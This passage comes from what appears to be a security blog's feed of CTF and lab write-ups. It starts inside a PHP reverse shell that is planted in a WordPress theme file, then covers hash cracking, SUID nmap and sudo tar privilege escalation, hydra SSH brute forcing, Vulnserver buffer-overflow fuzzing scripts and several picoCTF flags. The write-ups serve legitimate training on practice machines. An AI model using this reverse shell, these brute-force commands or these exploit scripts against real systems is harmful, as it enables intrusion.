);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit(“ERROR: Can’t spawn shell”);
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won’t
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit(“Successfully opened reverse shell to $ip:$port”);
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit(“ERROR: Shell connection terminated”);
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit(“ERROR: Shell process terminated”);
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process’s STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit(“SOCK READ”);
$input = fread($sock, $chunk_size);
if ($debug) printit(“SOCK: $input”);
fwrite($pipes[0], $input);
}
// If we can read from the process’s STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit(“STDOUT READ”);
$input = fread($pipes[1], $chunk_size);
if ($debug) printit(“STDOUT: $input”);
fwrite($sock, $input);
}
// If we can read from the process’s STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit(“STDERR READ”);
$input = fread($pipes[2], $chunk_size);
if ($debug) printit(“STDERR: $input”);
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we’ve daemonised ourself
// (I can’t figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print “$string\n”;
}
}
?>
</code></pre>
<p>Put the revserse shell into a page in the website. Put it to the archive.php file and save it.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/mrrobot/wordpressrevshell.png" alt="" /></p>
<p>Now open up a listener and acess the page.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/mrrobot/revshell1.png" alt="" />
<img src="https://jmvrp-gallery.netlify.app/pictures/mrrobot/revshell2.png" alt="" /></p>
<p>We can see the second flag.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/mrrobot/robotuser.png" alt="" /></p>
<p>But we can’t open the key file but we have another file named password.ra2-md5 we can open it.</p>
<h2 id="hash-cracking">Hash Cracking</h2>
<p>Inside this file there is an MD5 hash now let’s crack it. I will use crackstation to crack this.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/mrrobot/crackstation.png" alt="" /></p>
<blockquote>
<p>the hash is : abcdefghijklmnopqrstuvwxyz</p>
</blockquote>
<p>Now we can switch to the robot user and grab the second flag.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/mrrobot/secondflag.png" alt="" /></p>
<blockquote>
<p><code>822c73956184f694993bede3eb39f959</code> — Second Flag</p>
</blockquote>
<h2 id="privesc">Privesc</h2>
<p>Now we need to privilege escalate.I tried uploading a script like LinPeas here but the transfer failed.I also tried running sudo -l command but the user robot was not in sudoer’s list. So lets run this command which searches for all files having SUID bit set.</p>
<pre><code>find / -perm +6000 2>/dev/null | grep ‘/bin/’
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/mrrobot/findingSUID.png" alt="" /></p>
<p>‘/usr/local/bin/nmap’ is not ordinary.
<br>
After finding that nmap is vulnerable. Lets find a <a rel="noopener" target="_blank" href="https://gtfobins.github.io/gtfobins/nmap/">privesc method for nmap in gtfobins.</a></p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/mrrobot/thirdkey.png" alt="" /></p>
<blockquote>
<p><code>04787ddef27c3dee1ee161b21670b4e4</code> — Third Flag</p>
</blockquote>
Magikarp Ground Mission2022-04-05T00:00:00+00:002022-04-05T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/magikarp-ground-mission/<p>In this challenge, we connect to a machine using SSH and find the flag inside it.</p>
<p>first, let’s connect via ssh.</p>
<pre><code>ssh ctf-player@venus.picoctf.net -p 54965
</code></pre>
<p>when we try to ssh into the machine it asks for a password use the password in the challenge description. After connecting to the machine and listing the directory we are in we can find two files named, 1of3.flag.txt and instructions-to-2of3.txt.</p>
<p>From the first file, we can see that the flag has been divided into 3 parts. let’s cat the 1st part of the flag. After getting the first part of the flag we can see the instruction file. Inside that, we can see that it tells us to find the other flag in the root directory(/). Go to the root directory using the cd command.</p>
<pre><code>cd /
</code></pre>
<p>After going to the root directory we can see similar files to the previous two files. First, cat out the flag and read the instructions. Instructions say that the other flag is in the home directory. Now switch to the home directory,</p>
<pre><code>cd ~
</code></pre>
<p>after listing the files in the home directory we can see the last part of the flag.</p>
Static Ain't Always Noise2022-04-05T00:00:00+00:002022-04-05T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/static-aint-always-noise/<p>In this challenge we get two files one is named static and the other is a shell script named ltdis.sh.</p>
<p>By running the shell script we can find the usage of the script. The usage is to extract the strings of a binary and disassemble the binary. Now let’s try to run our file with this script.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/staticnoise/static.png" alt="" /></p>
<p>After running this we get two files namely,</p>
<ul>
<li>static.ltdis.x86_64.txt</li>
<li>static.ltdis.strings.txt</li>
</ul>
<p>The strings file looks interesting so let’s open the strings file first. There is a huge list so let’s try to grep to find a flag or a hint to solve.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/staticnoise/static2.png" alt="" /></p>
<p>Luckily we could find the flag.</p>
tab tab attack2022-04-05T00:00:00+00:002022-04-05T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/tab-tab-attack/<p>In this challenge, we get a zip file named Addadshashanammu.zip. After extracting this we get endless folders named in gibberish we can use the TAB key to auto-complete these names as mentioned in the challenge itself.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/tabtab/tabtab.png" alt="" /></p>
<p>After endless directories finally, we can see a file named fang-of-haynekhtnamet. After running this we can get the flag.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/tabtab/tabtab2.png" alt="" /></p>
Bounty Hunter2022-04-04T00:00:00+00:002022-04-04T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/bounty-hunter/<h2 id="scanning">Scanning</h2>
<p>First, let’s try to ping the machine to check whether it is up and running.
<img src="https://jmvrp-gallery.netlify.app/pictures/bountyhunter/1.png" alt="" /></p>
<p>Then let’s get started with our nmap scan.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/bountyhunter/2.png" alt="" /></p>
<p>from our scan we see 3 open ports namely ports 21, 22, 80. We can see a webpage on port 80 let’s check it out.</p>
<h2 id="web-enumeration">Web Enumeration</h2>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/bountyhunter/3.png" alt="" />
nothing seems interesting on the web. let’s move on with the other ports.
port 21 seems interesting so let’s try to FTP into it when you log in to FTP use the username anonymous because we see that anonymous login is allowed.</p>
<pre><code>ftp 10.10.80.102
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/bountyhunter/4.png" alt="" /></p>
<p>after logging into FTP we can see 2 files namely,
- locks.txt
- task.txt
Now let’s get those files to our local machine.</p>
<pre><code>get locks.txt
get task.txt
</code></pre>
<p>After getting we can try to open those files in the task.txt file we see a message.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/bountyhunter/5.png" alt="" />
From this, we can identify the user as lin.
now let’s try to open the locks .txt file in that we see some words that look like passwords.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/bountyhunter/6.png" alt="" /></p>
<p>from the previous nmap we identified an open SSH port now let’s try to brute force it using the dumped credentials.
For this, I will use hydra.</p>
<pre><code>hydra -l lin -p locks.txt ssh://10.10.8.102
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/bountyhunter/7.png" alt="" />
From this, we got a password now let’s try to ssh into this.</p>
<pre><code>ssh lin@10.10.80.102
</code></pre>
<p>After connecting to the machine list the files u will be able to see a user.txt file it contains the user flag. congrats you find the user flag.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/bountyhunter/8.png" alt="" /></p>
<p>Now lets try to get the root flag. First, change your directory to the root directory and try to change the directory to the root user but you don’t have permission to go to that directory now let’s try to escalate our privileges to root.</p>
<pre><code>sudo -l
</code></pre>
<p>After using this command we can see a vulnerable service to exploit.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/bountyhunter/9.png" alt="" /></p>
<h2 id="exploitation">Exploitation</h2>
<p>Now let’s search for and reverse shell using this vulnerable service. for this, I will use GTFO.bins</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/bountyhunter/10.png" alt="" />
From gtfobins we found a reverse shell.</p>
<pre><code>sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
</code></pre>
<p>After running this command we get a reverse shell back with root privileges. Now you can change your directory to the root users directory and try to get the flag.</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/bountyhunter/11.png" alt="" /></p>
<p>Congrats you pwned the machine!</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/bountyhunter/12.png" alt="" /></p>
Nice Netcat...2022-04-03T00:00:00+00:002022-04-03T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/nice-netcat/<p>In this, we challenge we need to connect to a network using netcat.
After connecting using netcat we get some numbers</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/nicenetcat/1.png" alt="" /></p>
<p>In the challenge description, we see that there is a mention of ASCII now let’s try to convert these decimal values to ASCII for this you can use an online tool.
<a rel="noopener" target="_blank" href="https://onlineasciitools.com/convert-decimal-to-ascii">https://onlineasciitools.com/convert-decimal-to-ascii</a></p>
<p>after converting we can find the flag</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/nicenetcat/2.png" alt="" /></p>
Vulnserver Bufferoverflow2022-04-03T00:00:00+00:002022-04-03T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/vulnserver-bufferoverflow/<ol>
<li>Spiking</li>
<li>Fuzzing</li>
<li>Finding the offset</li>
<li>Overwriting the EIP</li>
<li>Finding the bad characters</li>
<li>Finding the right module</li>
<li>generating shellcode</li>
<li>ROOT!</li>
</ol>
<p>In my case,</p>
<ul>
<li>VICTIM –> 192.168.62.129 / WINDOWS</li>
<li>ATTACKER –> 192.168.62.128 / KALI LINUX</li>
</ul>
<p>You can replace your I.P addresses when using the scripts and the other commands</p>
<p>First, run the .exe file when you run it you will see a prompt like this</p>
<p><img src="https://miro.medium.com/max/966/1*tzEc9XidhoxPVN3GoYShgw.png" alt="" /></p>
<p>After that you can attach it to the immunity debugger</p>
<h2 id="1-spiking">1. Spiking</h2>
<blockquote>
<p>fuzzer.spk</p>
</blockquote>
<pre><code>s_readline();
s_string("TRUN ");
s_string_variable("FUZZ");
</code></pre>
<h3 id="running-the-fuzzer">Running The Fuzzer</h3>
<pre><code>generic_send_tcp 192.168.62.129 9999 fuzzer.spk 0 0
</code></pre>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/vulnserverbof/1.png" alt="" /></p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/vulnserverbof/2.png" alt="" /></p>
<p>we can see that program has crashed and paused and we got a error code. Access violation when executing [41414141]. those [41414141] are filled in the EIP (instruction pointer)</p>
<p>EIP is the place where program Jump to the next bit of code and it died in this case</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/vulnserverbof/3.png" alt="" /></p>
<p>So what has happened here? The spiking script sent “TRUN /.:/” along with a bunch of ‘A’s to vulnserver. Eventually, the input got large enough to crash vulnserver.</p>
<h3 id="getting-an-idea-of-how-many-a-were-sent">Getting an idea of how many “A” were sent</h3>
<p>There are so many methods to find this amount but in this I will show you two methods you can use either first method or second method.</p>
<h4 id="1-method">1. Method</h4>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/vulnserverbof/4.png" alt="" />
<img src="https://jmvrp-gallery.netlify.app/pictures/vulnserverbof/5.png" alt="" /></p>
<p>we can see a lot of “A”’s now find the top address and the bottom address and write it down</p>
<blockquote>
<p>Top
<img src="https://jmvrp-gallery.netlify.app/pictures/vulnserverbof/6.png" alt="" /></p>
</blockquote>
<blockquote>
<p>Bottom
<img src="https://jmvrp-gallery.netlify.app/pictures/vulnserverbof/7.png" alt="" /></p>
</blockquote>
<p>in my case the values were</p>
<ul>
<li>Top –> 0241F208</li>
<li>Bottom –> 0241FDB0</li>
</ul>
<p>add “0x” in front of each value because it’s a hex</p>
<ul>
<li>Top –> 0x0241F208</li>
<li>Bottom –> 0x0241FDB0</li>
</ul>
<p>now use a python interpreter to do some quick math. subtract the top value from the bottom value. after doing that we get a value of “2984”</p>
<p>from we can guess the length of the point at which the program crashes</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/vulnserverbof/8.png" alt="" /></p>
<h4 id="2-method">2. Method</h4>
<p>use this program to find it
>IMPORTANT : use python2 when using this script
{: .prompt-tip}</p>
<pre><code>#!/usr/bin/python
import sys, socket
from time import sleep
buffer = "A" * 100
while True:
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.62.129',9999)) //replace your vulnserver I.P here
s.send(('TRUN /.:/' + buffer))
s.close
sleep(1)
buffer = buffer + "A" * 100
except:
print("fuzzing crashed at %s bytes" % str(len(buffer)))
sys.exit
</code></pre>
<pre><code>python2 fuzzer.py
</code></pre>
<p>after running this script on the terminal go to the immunity debugger window and wait until it get paused and after it get paused go the terminal you ran the script and press ctrl+c for few times and you will be able to see the count.</p>
<p>we can see the output as 3000 bytes</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/vulnserverbof/9.png" alt="" /></p>
Wave A Flag2022-04-03T00:00:00+00:002022-04-03T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/wave-a-flag/<p>In this challenge, we get a file named warm, by just running using the commands,</p>
<pre><code>chmod +x warm
./warm
</code></pre>
<p>we see that it tells us to pass a -h argument. after passing a -h argument we can see the flag</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/waveaflag/waveaflag.png" alt="" /></p>
Obedient Cat2022-04-02T00:00:00+00:002022-04-02T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/obedient-cat/<p>After Downloading the file using the cat command to see the content</p>
<pre><code>cat flag
</code></pre>
<p>Or instead, you can use a text editor to open</p>
Python Wrangling2022-04-02T00:00:00+00:002022-04-02T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/python-wrangling/<p>In this task we get three files namely,</p>
<ul>
<li>ende.py</li>
<li>pw.txt</li>
<li>flag.txt</li>
</ul>
<p>ende.py is the decryptor we should use by running once we can find that -e is for encrypting and -d is for decrypting.</p>
<p>In the pw.txt we get a password</p>
<p>after we run the python script with the encrypted flag it asks us for a password now use the password in the pw.txt file</p>
<p><img src="https://jmvrp-gallery.netlify.app/pictures/pythonwrangling/pythonwrangling.png" alt="" /></p>